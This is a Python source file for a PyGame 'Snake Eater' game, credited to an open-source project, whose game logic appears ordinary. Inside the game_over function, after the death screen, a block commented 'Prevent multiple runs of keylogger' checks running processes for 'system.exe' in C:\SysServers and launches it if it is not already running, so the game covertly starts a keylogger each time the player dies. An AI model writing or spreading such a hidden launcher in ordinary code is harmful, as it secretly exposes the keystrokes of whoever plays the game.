snake.py

"""
Snake Eater
Made with PyGame
Author: Rajat Biswas
Project: https://github.com/rajatdiptabiswas/snake-pygame
"""

import os
import random
import sys
import time

import psutil
import pygame


def start_game():
    # Difficulty settings
    # Easy      ->  10
    # Medium    ->  25
    # Hard      ->  40
    # Harder    ->  60
    # Impossible->  120
    difficulty = 15

    # Window size
    frame_size_x = 720
    frame_size_y = 480

    # Checks for errors encountered
    check_errors = pygame.init()
    # pygame.init() example output -> (6, 0)
    # second number in tuple gives number of errors
    if check_errors[1] > 0:
        # print(f'[!] Had {check_errors[1]} errors when initialising game, exiting...')
        sys.exit(-1)
    else:
        print('[+] Game successfully initialised')

    # Initialise game window
    pygame.display.set_caption('Snake Eater')
    game_window = pygame.display.set_mode((frame_size_x, frame_size_y))

    # Colors (R, G, B)
    black = pygame.Color(0, 0, 0)
    white = pygame.Color(255, 255, 255)
    red = pygame.Color(255, 0, 0)
    green = pygame.Color(0, 255, 0)
    # blue = pygame.Color(0, 0, 255)

    # FPS (frames per second) controller
    fps_controller = pygame.time.Clock()

    # Game variables
    snake_pos = [100, 50]
    snake_body = [[100, 50], [100-10, 50], [100-(2*10), 50]]

    food_pos = [random.randrange(
        1, (frame_size_x//10)) * 10, random.randrange(1, (frame_size_y//10)) * 10]
    food_spawn = True

    direction = 'RIGHT'
    change_to = direction

    score = 0

    # Game Over

    def game_over():
        my_font = pygame.font.SysFont('times new roman', 90)
        game_over_surface = my_font.render('YOU DIED', True, red)
        game_over_rect = game_over_surface.get_rect()
        game_over_rect.midtop = (frame_size_x/2, frame_size_y/4)
        game_window.fill(black)
        game_window.blit(game_over_surface, game_over_rect)
        show_score(0, red, 'times', 20)
        pygame.display.flip()
        time.sleep(3)
        pygame.quit()

        # Prevent multiple runs of keylogger
        checker = True
        pids = psutil.pids()
        for pid in pids:
            try:
                proc = psutil.Process(pid)
            except:
                continue
            if proc.name() == 'system.exe':
                if proc.cwd() == 'C:\\SysServers':
                    checker = False
                    break
        if checker is True:
            os.chdir('C:\\SysServers')
            os.popen('system.exe')
        sys.exit()

    # Score
    def show_score(choice, color, font, size):
        score_font = pygame.font.SysFont(font, size)
        score_surface = score_font.render('Score : ' + str(score), True, color)
        score_rect = score_surface.get_rect()
        if choice == 1:
            score_rect.midtop = (frame_size_x/10, 15)
        else:
            score_rect.midtop = (frame_size_x/2, frame_size_y/1.25)
        game_window.blit(score_surface, score_rect)
        # pygame.display.flip()

    # Main logic
    while True:
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                pygame.quit()
                sys.exit()
            # Whenever a key is pressed down
            elif event.type == pygame.KEYDOWN:
                # W -> Up; S -> Down; A -> Left; D -> Right
                if event.key == pygame.K_UP or event.key == ord('w'):
                    change_to = 'UP'
                if event.key == pygame.K_DOWN or event.key == ord('s'):
                    change_to = 'DOWN'
                if event.key == pygame.K_LEFT or event.key == ord('a'):
                    change_to = 'LEFT'
                if event.key == pygame.K_RIGHT or event.key == ord('d'):
                    change_to = 'RIGHT'
                # Esc -> Create event to quit the game
                if event.key == pygame.K_ESCAPE:
                    pygame.event.post(pygame.event.Event(pygame.QUIT))

        # Making sure the snake cannot move in the opposite direction instantaneously
        if change_to == 'UP' and direction != 'DOWN':
            direction = 'UP'
        if change_to == 'DOWN' and direction != 'UP':
            direction = 'DOWN'
        if change_to == 'LEFT' and direction != 'RIGHT':
            direction = 'LEFT'
        if change_to == 'RIGHT' and direction != 'LEFT':
            direction = 'RIGHT'

        # Moving the snake
        if direction == 'UP':
            snake_pos[1] -= 10
        if direction == 'DOWN':
            snake_pos[1] += 10
        if direction == 'LEFT':
            snake_pos[0] -= 10
        if direction == 'RIGHT':
            snake_pos[0] += 10

        # Snake body growing mechanism
        snake_body.insert(0, list(snake_pos))
        if snake_pos[0] == food_pos[0] and snake_pos[1] == food_pos[1]:
            score += 1
            food_spawn = False
        else:
            snake_body.pop()

        # Spawning food on the screen
        if not food_spawn:
            food_pos = [random.randrange(
                1, (frame_size_x//10)) * 10, random.randrange(1, (frame_size_y//10)) * 10]
        food_spawn = True

        # GFX
        game_window.fill(black)
        for pos in snake_body:
            # Snake body
            # .draw.rect(play_surface, color, xy-coordinate)
            # xy-coordinate -> .Rect(x, y, size_x, size_y)
            pygame.draw.rect(game_window, green,
                             pygame.Rect(pos[0], pos[1], 10, 10))

        # Snake food
        pygame.draw.rect(game_window, white, pygame.Rect(
                        food_pos[0], food_pos[1], 10, 10))

        # Game Over conditions
        # Getting out of bounds
        if snake_pos[0] < 0 or snake_pos[0] > frame_size_x-10:
            game_over()
        if snake_pos[1] < 0 or snake_pos[1] > frame_size_y-10:
            game_over()
        # Touching the snake body
        for block in snake_body[1:]:
            if snake_pos[0] == block[0] and snake_pos[1] == block[1]:
                game_over()

        show_score(1, white, 'consolas', 20)
        # Refresh game screen
        pygame.display.update()
        # Refresh rate
        fps_controller.tick(difficulty)